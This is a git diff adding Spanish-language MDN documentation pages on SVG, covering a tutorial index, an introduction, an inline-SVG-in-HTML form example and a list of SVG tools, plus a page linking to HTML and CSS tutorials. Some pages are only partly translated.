+ <li>How SVG handles sizes and units will be explained <a href="/en/SVG/Tutorial/Positions" title="en/SVG/Tutorial/Positions">on the next page</a>.</li>
+</ul>
+
+<h3 id="SVG_File_Types" name="SVG_File_Types">SVG File Types</h3>
+
+<p>SVG files come in two flavors. Normal SVG files are simple text files containing SVG markup. The recommended filename extension for these files is ".svg" (all lowercase).</p>
+
+<p>Due to the potentially massive size SVG files can reach when used for some applications (e.g., geographical applications), the SVG specification also allows for gzip-compressed SVG files. The recommended filename extension for these files is ".svgz" (all lowercase). Unfortunately it is very problematic to get gzip-compressed SVG files to work reliably across all SVG capable user agents when served from Microsofts IIS server, and Firefox can not load gzip-compressed SVG from the local computer. Avoid gzip-compressed SVG except when you are publishing to a webserver that you know will serve it correctly (see below).</p>
+
+<h3 id="A_Word_on_Webservers" name="A_Word_on_Webservers">A Word on Webservers</h3>
+
+<p>Now that you have an idea of how to create basic SVG files, the next stage is to upload them to a Webserver. There are some gotchas at this stage though. For normal SVG files, servers should send the HTTP header:</p>
+
+<pre>Content-Type: image/svg+xml
+</pre>
+
+<p>For gzip-compressed SVG files, servers should send the HTTP headers:</p>
+
+<pre>Content-Type: image/svg+xml
+Content-Encoding: gzip
+</pre>
+
+<p>You can check that your server is sending the correct HTTP headers with your SVG files by using a site such as <a class="external" href="http://web-sniffer.net/">web-sniffer.net</a>. Submit the URL of one of your SVG files and look at the HTTP response headers. If you find that your server is not sending the headers with the values given above, then you should contact your Web host. If you have problems convincing them to correctly configure their servers for SVG, there may be ways to do it yourself. See the <a class="external" href="http://svg-whiz.com/wiki/index.php?title=Server_Configuration">server configuration page</a> on the SVG wiki for a range of simple solutions.</p>
+
+<p>Server misconfiguration is a very common reason for SVG failing to load, so make sure you check yours. If your server is not configured to send the correct headers with the SVG files it serves, then Firefox will most likely show the markup of the files as text or encoded garbage, or even ask the viewer to choose an application to open them.</p>
+
+<p>{{ PreviousNext("SVG/Tutorial/Introduction", "SVG/Tutorial/Positions") }}</p>
+
+<p>{{ languages( { "fr": "fr/SVG/Tutoriel/Premiers_pas", "ja": "ja/SVG/Tutorial/Getting_Started" } ) }}</p>
diff --git a/files/es/web/svg/tutorial/index.html b/files/es/web/svg/tutorial/index.html
new file mode 100644
index 0000000000..e1a2b9a408
--- /dev/null
+++ b/files/es/web/svg/tutorial/index.html
@@ -0,0 +1,57 @@
+---
+title: Tutorial de SVG
+slug: Web/SVG/Tutorial
+tags:
+  - Intermedio
+  - NeedsTranslation
+  - NesecitaActualizacion
+  - NesecitaAyuda
+  - NesecitaContenido
+  - SVG
+  - TopicStub
+  - Tutorial de SVG
+translation_of: Web/SVG/Tutorial
+---
+<p>Los graficos de vectores escalables, SVG , es un dialecto XML de W#C usado para describir graficos. Esta parcialente implementado en Firefox, Opera, WebKit , Internet Explorer y otros.</p>
+
+<p>Este tutorial intenta explicar SVG a profundidad y esta elaborado con detalles tecnicos. Si quieres dibujar hermosas imagenes, podras encontrar recursos mas utiles en la <a href="https://inkscape.org/en/learn/">Documentacion de Inkscape</a> . Otra buena introduccion es brindada por el W3C's <a href="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html"> SVG Primer</a> . </p>
+
+<h5 id="Presentando_SVG_desde_cero">Presentando SVG desde cero</h5>
+
+<ul>
+ <li><a href="/en-US/SVG/Tutorial/Introduction" title="en-US/SVG/Tutorial/Introduction">Introducción</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Getting_Started" title="en-US/SVG/Tutorial/Getting_Started">Comenzando</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Positions" title="en-US/SVG/Tutorial/Positions">Posiciones</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Basic_Shapes" title="en-US/SVG/Tutorial/Basic_Shapes">Figuras básicas</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Paths" title="en-US/SVG/Tutorial/Paths">Paths</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Fills_and_Strokes" title="en-US/SVG/Tutorial/Fills_and_Strokes">Rellenos y trazos</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Gradients" title="en-US/SVG/Tutorial/Gradients">Gradientes</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Patterns" title="en-US/SVG/Tutorial/Patterns">Patrones</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Texts" title="en-US/SVG/Tutorial/Texts">Textos</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Basic_Transformations" title="en-US/SVG/Tutorial/Basic_Transformations">Transformaciones básicas</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Clipping_and_masking" title="en-US/SVG/Tutorial/Clipping_and_masking">Recortes y máscaras</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Other_content_in_SVG" title="en-US/SVG/Tutorial/Other content in SVG">Otros contenidos en SVG</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Filter_effects" title="en-US/SVG/Tutorial/Filter effects">Filtros y efectos</a></li>
+ <li><a href="/en-US/SVG/Tutorial/SVG_fonts" title="en-US/SVG/Tutorial/SVG fonts">Fuentes SVG</a></li>
+ <li><a href="/en-US/SVG/Tutorial/SVG_Image_Tag" title="en-US/SVG/Tutorial/SVG Image Tag">Etiquetas de imágenes SVG</a></li>
+ <li><a href="/en-US/SVG/Tutorial/Tools_for_SVG" title="en-US/SVG/Tutorial/Tools_for_SVG">Herramientas de SVG</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Other_content_in_SVG" title="en-US/SVG/Tutorial/Other_Tutorials">Otros tutoriales</a></li>
+</ul>
+
+<p>Los siguientes temas son más avanzados, por lo tanto deben tener sus propios tutoriales.</p>
+
+<h5 id="Scripting_SVG_con_JavaScript">Scripting SVG con JavaScript</h5>
+
+<p>TBD</p>
+
+<h5 id="Tutorial_filtros_SVG">Tutorial filtros SVG</h5>
+
+<p>TBD</p>
+
+<h5 id="Animaciones_con_SMIL_en_SVG">Animaciones con SMIL en SVG</h5>
+
+<p>TBD</p>
+
+<h5 id="Creación_de_fuentes_en_SVG">Creación de fuentes en SVG</h5>
+
+<p>TBD</p>
diff --git a/files/es/web/svg/tutorial/introducción/index.html b/files/es/web/svg/tutorial/introducción/index.html
new file mode 100644
index 0000000000..759ef2dbf9
--- /dev/null
+++ b/files/es/web/svg/tutorial/introducción/index.html
@@ -0,0 +1,45 @@
+---
+title: Introducción
+slug: Web/SVG/Tutorial/Introducción
+translation_of: Web/SVG/Tutorial/Introduction
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial", "Web/SVG/Tutorial/Getting_Started") }}</p>
+
+<p><img alt="Ejemplo de imagenes vectoriales, una cría de leon, una curva con flechas direccionales a intervalos regulares y un texto que sigue una trayectoria ondulada" class="internal" src="/@api/deki/files/348/=SVG_Overview.png" style="float: right;"><a href="/es/docs/Web/SVG" lang="es" title="es/docs/Web/SVG">SVG</a> es un lenguaje <a href="/es/docs/Introducción_a_XML" lang="es" title="es/docs/Introducción_a_XML">XML</a>, parecido a <a href="/es/docs/XHTML" lang="es" title="es/docs/XHTML">XHTML</a>, el cual puede ser usado para dibujar gráficos vectoriales, como los mostrados a la derecha. Puede ser usado para crear una imagen ya sea especificando todas las líneas y formas necesarias, modificando las imágenes matriciales (raster images) o una combinación de ambas. La imagen y sus componentes pueden ser transformados, compuestos o filtrados para cambiar completamente su apariencia.</p>
+
+<p>SVG surgió en 1999 después de que varios formatos compitieran y fueran propuestos a la <a class="external" href="http://www.w3.org" title="en-US/W3C">W3C</a> los cuales fallaron para ser completamente ratificados. SVG es soportado por los principales <a href="https://caniuse.com/#search=svg">navegadores</a>. Un inconveniente es que cargar un SVG puede ser lento. SVG ofrecen beneficios, algunos de los cuales incluyen tener una <a href="/en-US/docs/Web/API">interfaz</a> <a href="/en-US/docs/Web/API">DOM </a>disponible para éste, y no requerir extensiones de terceros. Usarlo o no a menudo dependerá de tu caso específico de uso.</p>
+
+<p> </p>
+
+<p> </p>
+
+<h3 id="Ingredientes_básicos">Ingredientes básicos</h3>
+
+<p><a href="/en-US/docs/Web/HTML">HTML</a>  provee elementos que definen encabezados, párrafos, tablas, etc. En forma muy similar, SVG provee elementos para círculos, rectángulos, y curvas simples y complejas. Un documento SVG simple consiste de nada más que el elemento raíz {{ SVGElement('svg') }} y varias formas básicas que construyen todas juntas un gráfico. En adición está el elemento {{ SVGElement('g') }}, el cual es usado para agrupar varias formas básicas.</p>
+
+<p>Desde este punto, la imagen SVG puede volverse arbitrariamente compleja. SVG soporta gradientes, rotaciones, efectos de filtro, animaciones, interactividad con JavaScript y más. Pero todas esas características adicionales del lenguaje dependen de este conjunto relativamente pequeño de elementos para definir el area de gráficos.</p>
+
+<h3 id="Before_you_start" name="Before_you_start">Antes de empezar</h3>
+
+<p>Existe un número de programas de dibujo disponibles como <a class="external" href="http://www.inkscape.org/">Inkscape</a> los cuales son gratis y usan SVG como su formato nativo. Sin embargo, este tutorial se basará en el confiable XML o editor de texto (a tu criterio). La idea es enseñar el funcionamiento interno de SVG a aquellos que desean comprenderlo, y eso se logra mejor ensuciando tus manos con un poco de maquetado. De todos modos deberías fijarte tus objetivos. No todos los visores de SVG son iguales por lo que es posible que algo escrito para una aplicación no se verá exactamente igual en otra, simplemente porque soportan diferentes niveles de la especificación SVG u otra especificación que estés utilizando junto con SVG (es decir, <a href="/es/JavaScript" lang="es" title="es/JavaScript">JavaScript</a> o <a href="/es/CSS" lang="es" title="es/CSS">CSS</a>).</p>
+
+<p>SVG es soportado en todo navegador moderno e incluso hasta un par de versiones anteriores en algunos casos. Una tabla bastante completa de soporte por navegadores puede verse en <a href="http://caniuse.com/svg">Can I use</a>. Firefox ha soportado algo de contenido SVG desde su versión 1.5 y el nivel de soporte ha ido creciendo con cada versión desde entonces. Con algo de optimismo, junto con este tutorial, MDN puede ayudar a los desarrolladores a estar al tanto de las diferencias entre Gecko y algunas de las otras implementaciones mas importantes.</p>
+
+<p>Antes de empezar deberías tener conceptos básicos de XML u otro lenguaje de maquetado como <abbr title="HyperText Markup Language">HTML</abbr>. Si no estás del todo familiarizado con XML, aquí hay algunas máximas a tener presentes:</p>
+
+<ul>
+ <li>Los elementos SVG y sus atributos deben ser escritos en la misma capitalización mostrada ya que XML es sensible a mayúsculas (en contraposición a HTML).</li>
+ <li>Los valores de atributos en SVG deben ir entre comillas, incluso si son números.</li>
+</ul>
+
+<p>SVG es una especificación muy extensa. Este instructivo intenta cubrir lo básico. Una vez que te hayas familiarizado deberías ser capaz de usar la <a href="/es/docs/Web/SVG/Element" lang="es" title="es/docs/Web/SVG/Element">Referencia de elementos</a> y la <a href="/es/docs/DOM/DOM_Reference#SVG_interfaces" lang="es" title="es/SVG/Interface">Referencia de interface</a> para encontrar cualquier otra cosa que necesites saber.</p>
+
+<h3 id="SVG_y_sus_sabores">SVG y sus sabores</h3>
+
+<p>Desde que se volvió una recomendación en 2003, la versión "completa" mas reciente de SVG es 1.1. Se edifica sobre SVG 1.0, añadiendo mas modularización para facilitar su implementación. <a href="http://www.w3.org/TR/SVG/" lang="en">La segunda edición de SVG 1.1</a> se volvió una Recomendación en 2011. SVG 1.2 iba a ser la próxima entrega de SVG. Fue descartada en favor de la próxima <a href="http://www.w3.org/TR/SVG2/">SVG 2.0</a>, la cual está siendo desarrollada ahora mismo y sigue un enfoque similar a CSS 3 en que divide componentes en varias especificaciones vagamente relacionadas.</p>
+
+<p>En adición a la recomendación de SVG completo, el grupo de trabajo en W3C introdujo SVG Tiny y SVG Basic en 2003. Estos perfiles apuntan principalmente a dispositivos móviles. El primero, SVG Tiny, debería brindar primitivas de gráficos para dispositivos pequeños con capacidades bajas. SVG Basic ofrece muchas de las prestaciones del SVG completo, pero no incluye aquellas difíciles de implementar o costosas de representar (como animaciones). En 2008, SVG Tiny 1.2 se volvió una Recomendación W3C.</p>
+
+<p>Hubo planes para una especificación SVG Print, la cual habría agregado soporte para páginas múltiples y administración de color mejorada. Esta tarea fue abandonada.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial", "Web/SVG/Tutorial/Getting_Started") }}</p>
diff --git a/files/es/web/svg/tutorial/svg_in_html_introduction/index.html b/files/es/web/svg/tutorial/svg_in_html_introduction/index.html
new file mode 100644
index 0000000000..ff4bede205
--- /dev/null
+++ b/files/es/web/svg/tutorial/svg_in_html_introduction/index.html
@@ -0,0 +1,95 @@
+---
+title: SVG In HTML Introduction
+slug: Web/SVG/Tutorial/SVG_In_HTML_Introduction
+translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction
+---
+<h2 id="Overview" name="Overview">Overview</h2>
+
+<p>This article and its associated example shows how to use inline <a href="/en-US/docs/SVG" title="SVG">SVG</a> to provide a background picture for a form. It shows how <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a> and <a href="/en-US/docs/CSS" title="CSS">CSS</a> can be used to manipulate the picture in the same way you would script regular XHTML. Note that the example will only work in browsers that support XHTML (not HTML) and SVG integration.</p>
+
+<h2 id="Source" name="Source">Source</h2>
+
+<p>Here is the source to <a class="external" href="/presentations/xtech2005/svg-canvas/SVGDemo.xml" title="presentations/xtech2005/svg-canvas/SVGDemo.xml">the example</a>:</p>
+
+<pre class="brush: html">&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+&lt;head&gt;
+&lt;title&gt;XTech SVG Demo&lt;/title&gt;
+&lt;style&gt;
+  stop.begin { stop-color:yellow; }
+  stop.end { stop-color:green; }
+  body.invalid stop.end { stop-color:red; }
+  #err { display:none; }
+  body.invalid #err { display:inline; }
+&lt;/style&gt;
+&lt;script&gt;
+  function signalError() {
+    document.getElementById('body').setAttribute("class", "invalid");
+  }
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body id="body"
+  style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"&gt;
+&lt;form&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;HTML Form&lt;/legend&gt;
+    &lt;p&gt;&lt;label&gt;Enter something:&lt;/label&gt;
+    &lt;input type="text"/&gt;
+    &lt;span id="err"&gt;Incorrect value!&lt;/span&gt;&lt;/p&gt;
+    &lt;p&gt;&lt;input type="button" value="Activate!" onclick="signalError();" /&gt;&lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"
+  viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice"
+  style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;"&gt;
+  &lt;linearGradient id="gradient"&gt;
+    &lt;stop class="begin" offset="0%"/&gt;
+    &lt;stop class="end" offset="100%"/&gt;
+  &lt;/linearGradient&gt;
+  &lt;rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /&gt;
+  &lt;circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /&gt;
+&lt;/svg&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Discussion" name="Discussion">Discussion</h2>
+
+<p>The page is mainly regular XHTML, CSS and JavaScript. The only interesting part is the &lt;svg&gt; element it contains. This element and its children are declared to be in the SVG namespace. The element contains a gradient and two shapes filled with the gradient. The gradient color stops have their colors set by CSS. When the user enters something incorrect into the form, the script sets the <code>invalid</code> attribute on the &lt;body&gt;, and a style rule changes the gradient <code>end-stop</code> color to red. (Another style rule makes an error message appear.)</p>
+
+<p>This approach has the following points in its favor:</p>
+
+<ul>
+ <li>We have taken a regular XHTML form that could have been part of an existing Web site, and added an attractive, interactive background</li>
+ <li>The approach is backwards compatible to browsers that do not support SVG; simply, no background appears in them</li>
+ <li>It's very simple and performs very well</li>
+ <li>The picture dynamically sizes itself to the required size in an intelligent way</li>
+ <li>We can have declarative style rules applying to both HTML and SVG</li>
+ <li>The same script manipulates both HTML and SVG</li>
+ <li>The document is entirely standards-based</li>
+</ul>
+
+<div class="note">
+<p>To add a linked image with DOM methods to an embedded SVG element, one has to use <code>setAttributeNS</code> to set <code>href</code>. Like in the following example:</p>
+
+<pre class="brush: js"> var img = document.createElementNS("http://www.w3.org/2000/svg", "image");
+img.setAttributeNS("http://www.w3.org/1999/xlink", "xlink:href", "move.png");
+
+
+</pre>
+</div>
+
+<h2 id="Details" name="Details">Details</h2>
+
+<p>The <code>viewBox</code> attribute establishes a logical coordinate system which the SVG picture's coordinates are relative to. In this case our picture is laid out in a 100 by 100 viewport.</p>
+
+<p>The <code>preserveAspectRatio</code> attribute specifies that the aspect ratio must be preserved by centering the picture in the available size, sizing to the maximum of the height or width and then cutting off any overflow.</p>
+
+<p>The <code>style</code> attribute pins the SVG element to the background of the form.</p>
+
+<h2 id="Related_Links" name="Related_Links">Related Links</h2>
+
+<ul>
+ <li>Another SVG in XHTML example: <a href="/en-US/docs/SVG/Namespaces_Crash_Course/Example" title="SVG/Namespaces_Crash_Course/Example">A swarm of motes</a></li>
+ <li><a class="external" href="http://jwatt.org/svg/demos/xhtml-with-inline-svg.xhtml">Working example</a> that works in both Mozilla and in Internet Explorer with Adobe's SVG Viewer installed. (For inline SVG to work in both Firefox and Internet Explorer it is necessary to serve documents with a different Content-Type to each browser. For this reason, if you're behind a proxy server that caches the page, the example wont work in the second browser you load it in because it will receive the wrong Content-Type.)</li>
+</ul>
diff --git a/files/es/web/svg/tutorial/tools_for_svg/index.html b/files/es/web/svg/tutorial/tools_for_svg/index.html
new file mode 100644
index 0000000000..99c50f9aed
--- /dev/null
+++ b/files/es/web/svg/tutorial/tools_for_svg/index.html
@@ -0,0 +1,74 @@
+---
+title: Tools for SVG
+slug: Web/SVG/Tutorial/Tools_for_SVG
+translation_of: Web/SVG/Tutorial/Tools_for_SVG
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/SVG_Image_Tag") }}</p>
+
+<p> </p>
+
+<p>Ahora que hemos cubierto los aspectos básicos de los componentes internos de SVG, analizaremos algunas herramientas para trabajar con archivos SVG.</p>
+
+<h3 id="Browser_support">Browser support</h3>
+
+<p>A partir de Internet Explorer 9, la mayoria de los navegadores soportan SVG: IE 9, Mozilla Firefox, Safari, Google Chrome y Opera. Los dispositivos mobiles que estan basado en los navegadores Webkit tambien soportan SVG. En dispositivos más antiguos o más pequeños, es probable que se admita SVG Tiny</p>
+
+<h2 id="Inkscape">Inkscape</h2>
+
+<p>URL: <a class="external" href="http://www.inkscape.org" title="http://www.inkscape.org/">www.inkscape.org</a></p>
+
+<p>Una de las herramientas más importantes para un formato de gráficos es un programa de dibujo decente. Inkscape ofrece dibujos vectoriales de última generación, y es de código abierto.</p>
+
+<p>Además, utiliza SVG como su formato de archivo nativo. Para almacenar datos específicos de Inkscape, extiende el archivo SVG con elementos y atributos en un espacio de nombres personalizado, pero también puede optar por exportar como SVG simple.</p>
+
+<h2 id="Adobe_Illustrator">Adobe Illustrator</h2>
+
+<p>URL: <a class="external" href="http://www.adobe.com/products/illustrator/">www.adobe.com/products/illustrator/</a></p>
+
+<p>Before Adobe acquired Macromedia, it was the most prominent promoter of SVG. From this time stems the good support of SVG in Illustrator. However, the resulting SVG often shows some quirks, that make it necessary to post-process it for general applicability.</p>
+
+<h2 id="Apache_Batik">Apache Batik</h2>
+
+<p>URL: <a class="external" href="http://xmlgraphics.apache.org/batik/">xmlgraphics.apache.org/batik/</a></p>
+
+<p>Batik is a set of open source tools under the roof of the Apache Software Foundation. The toolkit is written in Java and offers almost complete SVG 1.1 support, as well as some features that were originally planned for SVG 1.2.</p>
+
+<p>Batik offers a viewer (Squiggle), a rasterizer for PNG output, an SVG pretty printer to format SVG files, and a TrueType-to-SVG-Font converter.</p>
+
+<p>Together with <a class="external" href="http://xmlgraphics.apache.org/fop/">Apache FOP</a> Batik can transform SVG to PDF.</p>
+
+<h3 id="Other_renderers">Other renderers</h3>
+
+<p>Several projects exist that can create a raster image from an SVG source. <a class="external" href="http://ImageMagick.org" title="http://imagemagick.org/">ImageMagick</a> is one of the most famous command-line image processing tools. The Gnome library <a class="external" href="http://library.gnome.org/devel/rsvg/" title="http://library.gnome.org/devel/rsvg/">rsvg</a> is used by the Wikipedia to raster their SVG graphics. Usage of headless browsers such as SlimerJS and PhantomJS are also popular for this purpose, as the image produced is closer to what the SVG will look like in the browser.</p>
+
+<h2 id="Raphael_JS">Raphael JS</h2>
+
+<p>URL: <a class="external" href="http://raphaeljs.com/">raphaeljs.com</a></p>
+
+<p>This is a JavaScript library, that acts as an abstraction layer between browser implementations. Notably older versions of Internet Explorer are supported by generating VML, a vector markup language, that is one of two ancestors of SVG and exists since IE 5.5.</p>
+
+<h2 id="Snap.svg">Snap.svg</h2>
+
+<p>URL: <a href="http://snapsvg.io/">snapsvg.io</a></p>
+
+<p>A newer JavaScript abstraction layer from the same author of Raphael JS. Snap.svg is designed for modern browsers and therefore supports the newest SVG features like masking, clipping, patterns, full gradients, groups. It does not support the older browsers that Raphael does.</p>
+
+<section id="sect1"> </section>
+
+<h2 id="Google_Docs">Google Docs</h2>
+
+<p>URL: <a class="external" href="http://www.google.com/google-d-s/drawings/">www.google.com/google-d-s/drawings/</a></p>
+
+<p>Drawings from Google Docs can be exported as SVG.</p>
+
+<h2 id="Science">Science</h2>
+
+<p>The well-known plotting tools xfig and gnuplot both support exporting as SVG. To render graphs on the web <a class="external" href="http://jsxgraph.uni-bayreuth.de/wp/" title="http://jsxgraph.uni-bayreuth.de/wp/">JSXGraph</a> supports VML, SVG and canvas, automatically deciding which technology to use based on browser capabilities.</p>
+
+<p>In GIS (Geographic Information System) applications SVG is often used as both storage and rendering format. See <a class="external" href="http://carto.net">carto.net</a> for details.</p>
+
+<h2 id="More_tools!">More tools!</h2>
+
+<p>The W3C offers a <a class="external" href="http://www.w3.org/Graphics/SVG/WG/wiki/Implementations">list of programs</a> that support SVG.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/SVG_Image_Tag") }}</p>
diff --git a/files/es/web/tutoriales/index.html b/files/es/web/tutoriales/index.html
new file mode 100644
index 0000000000..eabc70de95
--- /dev/null
+++ b/files/es/web/tutoriales/index.html
@@ -0,0 +1,206 @@
+---
+title: Tutoriales
+slug: Web/Tutoriales
+tags:
+  - Articulo Web
+  - Código
+  - Diseño Web
+  - Guía
+  - Principiante
+  - Programa Web
+  - Tutoriales
+translation_of: Web/Tutorials
+---
+<p>Los enlaces de esta página llevan a una gran variedad de tutoriales y material de formación. Tanto si estás en tus comienzos, aprendiendo lo básico, como si eres un veterano en desarrollo web, aquí puedes encontrar recursos que te ayuden a lograr mejores prácticas.</p>
+
+<p>Estos recursos son creados por empresas innovadoras y desarrolladores web que han adoptado los estándares abiertos y las mejores prácticas para el desarrollo web proporcionando o permitiendo traducciones mediante licencias de contenido abierto como Creative Commons.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Para principiantes completos de la web</h2>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web">Comenzando con la web</a></dt>
+     <dd><em>Comenzando con la web</em> es una serie introductoria que te presenta los aspectos prácticos del desarrollo web. Podrás configurar las herramientas que necesites para construir una página web sencilla y publicar tu propio código.</dd>
+    </dl>
+
+    <h2 class="Documentation" id="Documentation" name="Documentation">Tutoriales de HTML</h2>
+
+    <h3 id="Nivel_introductorio">Nivel introductorio</h3>
+
+    <dl>
+     <dt><a href="http://docs.webplatform.org/wiki/guides/the_basics_of_html" rel="external">Introducción a HTML</a> (WebPlatform.org)</dt>
+     <dd>Este módulo establece el escenario, haciendo que te sea común el uso de conceptos importantes y sintaxis, buscando cómo aplicar el HTML al texto, cómo crear hiperenlaces y cómo utilizar el HTML para estructurar una página web.</dd>
+     <dt><a href="http://reference.sitepoint.com/html/page-structure" rel="external">Estructura básica de una página web</a> (SitePoint)</dt>
+     <dd>Aprende cómo los elementos HTML encajan juntos con un enfoque más amplio.</dd>
+     <dt><a href="http://reference.sitepoint.com/html/elements" rel="external">Elementos fundamentales de HTML según MDN</a> (SitePoint)</dt>
+     <dd>Es una referencia exhaustiva de los elementos HTML y cómo son soportados por los distintos navegadores.</dd>
+     <dt><a href="http://htmldog.com/guides/htmlbeginner/" rel="external">Tutorial de HTML para principiantes</a> (HTML Dog)</dt>
+     <dd>Tutorial y ejercicios sobre los fundamentos.</dd>
+     <dt><a href="http://wikiversity.org/wiki/Web_Design/HTML_Challenges" rel="external">Retos HTML</a> (Wikiversity)</dt>
+     <dd>Acepta los retos para mejorar tus conocimientos sobre HTML (por ejemplo, "¿Debería usar un elemento &lt;h2&gt; o un elemento &lt;strong&gt;?") y marca las respuestas correctas. </dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/HTML/Element">Manual de referencia MDN de elementos HTML</a></dt>
+     <dd>Una amplia referencia de elementos HTML, así como la forma en que Firefox y otros navegadores los soportan.</dd>
+    </dl>
+
+    <h3 id="Nivel_intermedio">Nivel intermedio</h3>
+
+    <dl>
+     <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding">Incrustamiento y multimedia</a></dt>
+     <dd>Este módulo explora cómo usar HTML para incluir multimedia en tus páginas web, incluyendo las diferentes formas en las que pueden incluirse imágenes, y cómo incrustar video, audio o incluso otras páginas web completas.</dd>
+     <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Tables">Tablas HTML </a></dt>
+     <dd>Representar datos tabulares en una forma comprensible puede ser un desafío, {{glossary("Accessibility", "accessible")}}. Este módulo cubre el marcado de una tabla básica, junto con características más complejas, como la implementación de epígrafes y resúmenes.</dd>
+    </dl>
+
+    <h3 id="Nivel_avanzado">Nivel avanzado</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Tips_for_Authoring_Fast-loading_HTML_Pages">Consejos para crear páginas HTML que carguen rápidamente</a></dt>
+     <dd>Optimiza las páginas web para que sean adaptables a los visitantes, reduciendo la carga de tu servidor web y de tu conexión a Internet.</dd>
+     <dt><a href="http://diveintohtml5.info/" rel="external">Sumérgete en HTML5</a> (Mark Pilgrim)</dt>
+     <dd>Aprende de una selección de características de HTML5, la versión más reciente de las especificaciones HTML.</dd>
+     <dt><a href="http://www.html5rocks.com/tutorials/" rel="external">Tutoriales de HTML5</a> (HTML5 Rocks)</dt>
+     <dd>Haz una visita guiada por código que usa las características de HTML5.</dd>
+     <dt><a href="http://www.alistapart.com/articles/semanticsinhtml5/" rel="external">Semántica en HTML5</a> (alistapart.com)</dt>
+     <dd>Aprende marcas con significado, extensibles y compatibles con versiones tanto anteriores como posteriores.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Canvas_tutorial" style="font-weight: bold;">Tutorial sobre Canvas</a></dt>
+     <dd>Aprende cómo dibujar gráficos usando líneas de script y el elemento c<em>anvas</em>.</dd>
+     <dt><a href="http://html5doctor.com/" rel="external">HTML5 Doctor</a></dt>
+     <dd>Artículos sobre cómo usar HTML5 ahora mismo.</dd>
+     <dt><a href="http://www.elated.com/articles/html5-audio/" rel="external">La alegría del audio en HTML5</a> (Elated)</dt>
+     <dd>Aprende a utilizar el elemento audio en HTML para incluir sonidos en tus páginas web de forma sencilla. Hay montones de códigos de ejemplos incluidos en este tutorial.</dd>
+    </dl>
+   </td>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Tutoriales CSS</h2>
+
+    <dl>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <h3 id="Nivel_introductorio_2">Nivel introductorio</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started">Lo básico en CSS</a></dt>
+     <dd>Este tutorial te introduce en las hojas de estilo (<em>Cascading Style Sheets</em> o <em>CSS</em>). Además, te guiará a través de las características básicas de CCS con ejemplos prácticos que podrás probar por ti mismo en tu propio computador.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS">Introducción a CSS</a></dt>
+     <dd>Este módulo profundiza en el funcionamiento de CSS, incluidos selectores y propiedades, redacción de reglas CSS, aplicación de CSS a HTML, cómo especificar longitud, color y otras unidades en CSS; cascada y herencia; conceptos básicos de caja y depuración de CSS.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_boxes">Estilizando cajas</a></dt>
+     <dd>A continuación analizamos las cajas de diseño, uno de los pasos fundamentales para diseñar una página web. En este módulo recapitulamos el modelo de caja y luego observamos los diseños de caja de control estableciendo relleno, bordes y márgenes, estableciendo colores de fondo personalizados, imágenes y otras características, y características extravagantes como sombras y filtros en cajas.</dd>
+     <dt><a href="http://en.wikiversity.org/wiki/Web_Design/External_CSS">Hojas externas de CSS</a> (Wikiversity)</dt>
+     <dd>Aquí aprenderás cómo usar CSS en el HTML desde una hoja de estilo externa (en inglés).</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text">Texto con estilo</a></dt>
+     <dd>En esta sección repasaremos los fundamentos del estilo de texto, que incluyen la configuración de fuente, negrita e itálicas, el espaciado de líneas y letras, sombras paralelas y otras características de texto. Completaremos el módulo observando la aplicación de fuentes personalizadas en tú página y el diseño de listas y enlaces.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Howto/CSS_FAQ">Preguntas frecuentes sobre CSS</a></dt>
+     <dd>Preguntas y respuestas frecuentes para principiantes.</dd>
+    </dl>
+
+    <h3 id="Nivel_Intermedio">Nivel Intermedio</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference">Referencia CSS </a></dt>
+     <dd>Referencia completa para CCS con ayuda detallada por Firefox y otros navegadores.</dd>
